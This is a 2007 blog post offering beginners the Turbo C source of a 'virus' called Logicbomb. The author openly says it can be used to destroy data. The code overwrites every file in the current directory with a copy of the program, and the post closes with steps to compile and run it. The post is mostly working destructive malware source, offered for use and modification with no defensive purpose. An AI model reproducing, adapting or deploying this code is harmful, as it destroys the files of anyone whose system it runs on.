Thursday, November 8, 2007

Simple virus source code for Turbo c beginers

Simple virus source code for Turbo c beginers
Hi friends,
here is a simple virus code for beginers of c,the code is written in Turbo c.I hav restricted it to affect current working directory onlyYou can midify this code.i have named it as Logicbomb and can be used to distroy data your ideas are welcome ,scrap me or mail me @ chaitanya_cracker@yahoo.com enjoy!




source code




#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf("--------------------------------------------------------------------------");
printf("\nVirus: Logicbomb 1.0\nProgrammer:chaitanya gotkhindikar(chaitanya_cracker@yahoo.com)\n");
cprintf("--------------------------------------------------------------------------");
done = findfirst("*.*",&ffblk,0);
while (!done)
{ printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Logicbomb");
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}


...................................................
How it works?
The working logic is very simple the program get its name through
command line argument and using findfirst(),findnext() functions files in current working directery are fetched and are replaced by our program So the target file will become our program
How to test?
1>write the above source code in Turbo c editer name the file as logicbomb.c (or you may choose your own)
2>remember thatDO NOT RUN THE CODE by pressing ctrl+F9 the code will run and may affect your files,goto complie menu click build all,so .exe file of our code will be created
3>create a folder say "test",put the .exe file of our program in that folder also put some other files,run our logicbomb.exe file ,all files in folder r attacked